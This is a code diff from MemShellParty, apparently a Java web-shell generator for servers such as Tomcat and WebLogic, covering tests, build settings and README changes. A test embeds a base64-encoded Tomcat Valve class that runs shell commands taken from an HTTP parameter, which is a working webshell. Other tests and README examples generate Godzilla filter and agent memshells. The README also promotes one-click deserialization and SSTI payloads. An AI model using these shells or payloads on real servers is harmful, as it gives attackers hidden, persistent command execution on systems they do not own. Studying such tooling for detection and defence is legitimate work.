 package com.reajason.javaweb.boot.entity;

-import lombok.Data;
 import lombok.Builder;
+import lombok.Data;

 /**
 * @author ReaJason
@@ -0,0 +1,10 @@
+package com.reajason.javaweb.boot.vo;
+
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2026/6/27
+ */
+public record PackerVO(String name, List<String> children) {
+}
@@ -1,4 +1,7 @@
 spring:
  application:
    name: boot
-    version: ${version}
+    version: ${version}
+  mvc:
+    pathmatch:
+      matching-strategy: ant_path_matcher
@@ -0,0 +1,18 @@
+package com.reajason.javaweb.boot.controller;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/10
+ */
+class ClassNameParseControllerTest {
+    @Test
+    void test(){
+        ClassNameParseController classNameParseController = new ClassNameParseController();
+        String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
+        assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
+    }
+}
@@ -1,11 +1,12 @@
 package com.reajason.javaweb.boot.controller;

 import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
+import org.junit.jupiter.api.BeforeEach;
 import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.boot.test.web.client.TestRestTemplate;
+import org.springframework.boot.test.web.server.LocalServerPort;
 import org.springframework.http.HttpStatus;
 import org.springframework.http.ResponseEntity;
+import org.springframework.web.client.RestClient;

 import java.util.List;
 import java.util.Map;
@@ -21,36 +22,45 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
 public class ConfigControllerIntegrationTest {

-    @Autowired
-    private TestRestTemplate restTemplate;
+    @LocalServerPort
+    private int port;
+
+    private RestClient restClient;
+
+    @BeforeEach
+    void setUp() {
+        restClient = RestClient.builder()
+                .baseUrl("http://localhost:" + port)
+                .build();
+    }

    @Test
    public void testConfigEndpoint() {
-        ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
-
+        ResponseEntity<Map> response = restClient.get()
+                .uri("/api/config")
+                .retrieve()
+                .toEntity(Map.class);
        assertEquals(HttpStatus.OK, response.getStatusCode());
-
-        Map body = response.getBody();
-        assertNotNull(body);
+        assertNotNull(response.getBody());
    }

    @Test
    public void testConfigServersEndpoint() {
-        ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
-
+        ResponseEntity<Map> response = restClient.get()
+                .uri("/api/config/servers")
+                .retrieve()
+                .toEntity(Map.class);
        assertEquals(HttpStatus.OK, response.getStatusCode());
-
-        Map body = response.getBody();
-        assertNotNull(body);
+        assertNotNull(response.getBody());
    }

    @Test
    public void testConfigPackersEndpoint() {
-        ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
-
+        ResponseEntity<List> response = restClient.get()
+                .uri("/api/config/packers")
+                .retrieve()
+                .toEntity(List.class);
        assertEquals(HttpStatus.OK, response.getStatusCode());
-
-        List<String> body = response.getBody();
-        assertNotNull(body);
+        assertNotNull(response.getBody());
    }
-}
+}
@@ -0,0 +1,71 @@
+package com.reajason.javaweb.boot.controller;
+
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
+import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.packer.Packers;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.boot.test.web.server.LocalServerPort;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.client.RestClient;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/16
+ */
+@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
+class MemShellGeneratorControllerTest {
+
+    @LocalServerPort
+    private int port;
+
+    private RestClient restClient;
+
+    @BeforeEach
+    void setUp() {
+        restClient = RestClient.builder()
+                .baseUrl("http://localhost:" + port)
+                .build();
+    }
+
+    @Test
+    void generateShell() {
+        MemShellGenerateRequest request = new MemShellGenerateRequest();
+        request.setShellConfig(ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellType(ShellType.FILTER)
+                .shellTool(ShellTool.Godzilla)
+                .shrink(true)
+                .debug(true)
+                .serverVersion("Unknown")
+                .targetJreVersion(50)
+                .build());
+        request.setInjectorConfig(InjectorConfig.builder()
+                .urlPattern("/*")
+                .build());
+        request.setPacker(Packers.ScriptEngine);
+        MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
+        shellToolConfigDTO.setGodzillaKey("key");
+        shellToolConfigDTO.setGodzillaPass("pass");
+        shellToolConfigDTO.setHeaderName("User-Agent");
+        shellToolConfigDTO.setHeaderValue("hello");
+        request.setShellToolConfig(shellToolConfigDTO);
+        ResponseEntity<MemShellGenerateResponse> response = restClient.post()
+                .uri("/api/memshell/generate")
+                .body(request)
+                .retrieve()
+                .toEntity(MemShellGenerateResponse.class);
+        assertEquals(HttpStatus.OK, response.getStatusCode());
+        assertNotNull(response.getBody());
+    }
+}
@@ -7,5 +7,5 @@ repositories {
 }

 dependencies {
-    implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
+    implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
 }
@@ -3,7 +3,7 @@ plugins {
 }

 mavenPublishing {
-    publishToMavenCentral(true)
+    publishToMavenCentral(automaticRelease = true, validateDeployment = true)
    signAllPublications()
    coordinates(
        "io.github.reajason",
@@ -9,10 +9,16 @@ idea {
    }
 }

-version = "2.1.0"
+version = "2.8.0"

 tasks.register("publishAllToMavenCentral") {
    dependsOn(":memshell-party-common:publishToMavenCentral")
    dependsOn(":packer:publishToMavenCentral")
    dependsOn(":generator:publishToMavenCentral")
+}
+
+tasks.register("publishAllToMavenLocal") {
+    dependsOn(":memshell-party-common:publishToMavenLocal")
+    dependsOn(":packer:publishToMavenLocal")
+    dependsOn(":generator:publishToMavenLocal")
 }
@@ -1,84 +0,0 @@
-## 适配情况
-
-已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
-
-### 中间件以及框架
-
-| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
-|----------------------|------------------------|----------------------|----------------------|
-| Servlet              | Servlet                | Filter               | Filter               |
-| Filter               | Filter                 | Listener             | Listener             |
-| Listener             | Listener               | Valve                | Valve                |
-| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
-| ProxyValve           |                        |                      |                      |
-| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
-| ContextValve - Agent |                        |                      |                      |
-
-| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
-|---------------------|--------------------------|-----------------|--------------|
-| Servlet             | Interceptor              | WebFilter       | NettyHandler |
-| Filter              | ControllerHandler        | HandlerMethod   |              |
-| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
-| FilterChain - Agent |                          | NettyHandler    |              |
-
-| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
-|----------------------|----------------------------|------------------------|------------------------|
-| Filter               | Filter                     | Servlet                | Servlet                |
-| Listener             | Listener                   | Filter                 | Filter                 |
-| Valve                | Valve(6)                   | Listener               | Listener               |
-| ProxyValve           |                            |                        |                        |
-| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
-| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
-|                      | ServletHandler - Agent (7) |                        |                        |
-
-| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
-|-----------------------|-------------------------|
-| Servlet               | Servlet                 |
-| Filter                | Filter                  |
-| Listener              | Listener                |
-| FilterManager - Agent | ServletContext - Agent  |
-
-| BES（9.5.x）           | TongWeb（6 ~ 8）       | InforSuite AS （9 ~ 10） |
-|----------------------|----------------------|------------------------|
-| Filter               | Filter               | Filter                 |
-| Listener             | Listener             | Listener               |
-| Valve                | Valve                | Valve                  |
-| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |
-| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |
-
-| Apusic AS （9 ~ 10）  | Primeton（6.5）        |
-|---------------------|----------------------|
-| Servlet             | Filter               |
-| Filter              | Listener             |
-| Listener            | Valve                |
-| FilterChain - Agent | FilterChain - Agent  |
-|                     | ContextValve - Agent |
-
-### 内存马功能
-
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
-
-### 封装方式
-
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化（CB 和 CC 链）
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化（XSLT链）
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
@@ -1,11 +1,6 @@
 <h1 align="center">MemShellParty</h1>

-<p align="center">English | <a href="../README.md">中文</a><br></p>
-<div align="center">
-
-[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
-[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
-</div>
+<p align="center"><a href="../README.md">中文</a> | English<br></p>


 <div align="center">
@@ -17,49 +12,54 @@
 <div align="center">

 [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
-[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
+[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
 </div>

 > [!WARNING]
-> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
+> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.

 > [!TIP]
-> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
+> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.

-MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
+MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.

-What you can learn or try from this project:
-
-1. Learn to write java memshell for common middleware and frameworks.
-2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
-3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
-4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
-5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
-
-![normal_generator](../asserts/normal_generator.png)
-
-![agent_generator](../asserts/agent_generator.png)
+<p align="center">
+  <img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
+  <img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
+  <img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
+  <img src="../assets/about_page.png" alt="about_page" width="24%">
+</p>

 ## Key Features

- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- Minimal Size: Strives to minimize memshell size for efficient transfer.
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
+- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
+- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
+- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
+- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
+- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
+- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.

 ## Quick Start

-### Online Preview
+### Read Before Use

-> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
+[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.

-Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
+The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
+
+### Online Site
+
+> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
+
+You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
+
+For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).

 ### Local Deployment (Recommended)

-> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
+> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.

-After deploying with Docker, access the service at http://127.0.0.1:8080
+After deploying with Docker, access http://127.0.0.1:8080

 ```bash
 # Pull the latest image from Docker Hub
@@ -68,312 +68,14 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
 # Pull the latest image from Github Container Registry
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest

-# If network quality is poor, use the Nanjing University Github Container Registry mirror
+# Poor network quality? Use the Nanjing University Github Container Registry mirror
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
 ```

-The image is stateless. To update to the latest version, simply remove the old container and create a new one:
-
-```bash
-# Remove the previously deployed container
-docker rm -f memshell-party
-
-# Use the previous deployment command to redeploy (it will automatically pull the latest image)
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
-```
-
-### SDK Integration into Existing Tools
-
-> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
-
-1. Add the dependency using Maven or Gradle:
-
-```xml
-<!-- Maven Repo-->
-<dependency>
-    <groupId>io.github.reajason</groupId>
-    <artifactId>generator</artifactId>
-    <version>1.7.0</version>
-</dependency>
-```
-
-```groovy
-// Gradle Repo
-implementation 'io.github.reajason:generator:1.7.0'
-```
-
-2. Example1: Generate a Tomcat Godzilla Filter memory shell:
-
-```java
-ShellConfig shellConfig = ShellConfig.builder()
-        .server(Server.Tomcat)
-        .shellTool(ShellTool.Godzilla)
-        .shellType(ShellType.FILTER)
-        .shrink(true) // Shrink bytecode size
-        .debug(false) // Disable debug mode
-        .build();
-
-InjectorConfig injectorConfig = InjectorConfig.builder()
-//                .urlPattern("/*")  // Custom urlPattern, defaults to /*
-//                .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
-//                .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
-        .build();
-
-GodzillaConfig godzillaConfig = GodzillaConfig.builder()
-//                .pass("pass")
-//                .key("key")
-//                .headerName("User-Agent")
-//                .headerValue("test")
-        .build();
-
-GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
-
-System.out.println("Injector Class Name: "+result.getInjectorClassName());
-System.out.println("MemShell Class Name: "+result.getShellClassName());
-
-System.out.println(result.getShellConfig());
-System.out.println(result.getShellToolConfig());
-
-System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
-System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
-```
-3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
-```java
-ShellConfig shellConfig = ShellConfig.builder()
-        .server(Server.Tomcat)
-        .shellTool(ShellTool.Godzilla)
-        .shellType(ShellType.AGENT_FILTER_CHAIN)
-        .shrink(true) // Shrink bytecode size
-        .debug(false) // Disable debug mode
-        .build();
-
-InjectorConfig injectorConfig = InjectorConfig.builder()
-//                .urlPattern("/*")  // Custom urlPattern, defaults to /*
-//                .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
-//                .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
-        .build();
-
-GodzillaConfig godzillaConfig = GodzillaConfig.builder()
-//                .pass("pass")
-//                .key("key")
-//                .headerName("User-Agent")
-//                .headerValue("test")
-        .build();
-
-GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
-
-System.out.println("Injector Class Name: " + result.getInjectorClassName());
-System.out.println("MemShell Class Name: " + result.getShellClassName());
-
-System.out.println(result.getShellConfig());
-System.out.println(result.getShellToolConfig());
-
-byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
-Files.write(Paths.get("agent.jar"), agentJarBytes);
-```
-4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
-
-## Compatibility
-
-Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
-
-### Middleware and Frameworks
-
-| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
-|----------------------|------------------------|----------------------|----------------------|
-| Servlet              | Servlet                | Filter               | Filter               |
-| Filter               | Filter                 | Listener             | Listener             |
-| Listener             | Listener               | Valve                | Valve                |
-| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
-| ProxyValve           |                        |                      |                      |
-| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
-| ContextValve - Agent |                        |                      |                      |
-
-| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
-|---------------------|--------------------------|-----------------|--------------|
-| Servlet             | Interceptor              | WebFilter       | NettyHandler |
-| Filter              | ControllerHandler        | HandlerMethod   |              |
-| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
-| FilterChain - Agent |                          | NettyHandler    |              |
-
-| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
-|----------------------|----------------------------|------------------------|------------------------|
-| Filter               | Filter                     | Servlet                | Servlet                |
-| Listener             | Listener                   | Filter                 | Filter                 |
-| Valve                | Valve(6)                   | Listener               | Listener               |
-| ProxyValve           |                            |                        |                        |
-| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
-| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
-|                      | ServletHandler - Agent (7) |                        |                        |
-
-| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
-|-----------------------|-------------------------|
-| Servlet               | Servlet                 |
-| Filter                | Filter                  |
-| Listener              | Listener                |
-| FilterManager - Agent | ServletContext - Agent  |
-
-| BES（9.5.x）           | TongWeb（6 ~ 8）       | InforSuite AS （9 ~ 10） |
-|----------------------|----------------------|------------------------|
-| Filter               | Filter               | Filter                 |
-| Listener             | Listener             | Listener               |
-| Valve                | Valve                | Valve                  |
-| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |
-| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |
-
-| Apusic AS （9 ~ 10）  | Primeton（6.5）        |
-|---------------------|----------------------|
-| Servlet             | Filter               |
-| Filter              | Listener             |
-| Listener            | Valve                |
-| FilterChain - Agent | FilterChain - Agent  |
-|                     | ContextValve - Agent |
-
-### MemShell Functionality
-
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
-
-### Packaging Methods
-
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native Deserialization（CB and CC）
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
-
-## Local Build
-
-### Building from Source Code
-
-> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
-
-First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
-
-1. Clone the project using Git:
-```bash
-git clone https://github.com/ReaJason/MemShellParty.git
-```
-2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
-```bash
-cd MemShellParty/web
-
-bun install
-
-bun run build
-```
-3. Build the backend project. Ensure you are using a JDK 17 environment.
-```bash
-cd MemShellParty/boot
-
-./gradlew :boot:bootjar -x test
-```
-
-After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
-
-```bash
-cd MemShellParty/boot
-
-java -jar \
-     --add-opens=java.base/java.util=ALL-UNNAMED \
-     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
-     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
-     build/libs/boot-1.0.0.jar
-```
-
-Alternatively, you can build a Docker container from the built artifacts:
-
-```bash
-cd MemShellParty/boot
-
-docker buildx build -t memshell-party:latest . --load
-
-docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
-```
-
-### Building with Dockerfile Directly
-
-> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
-
-Download the [Dockerfile](../Dockerfile) from the project root.
-
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
-
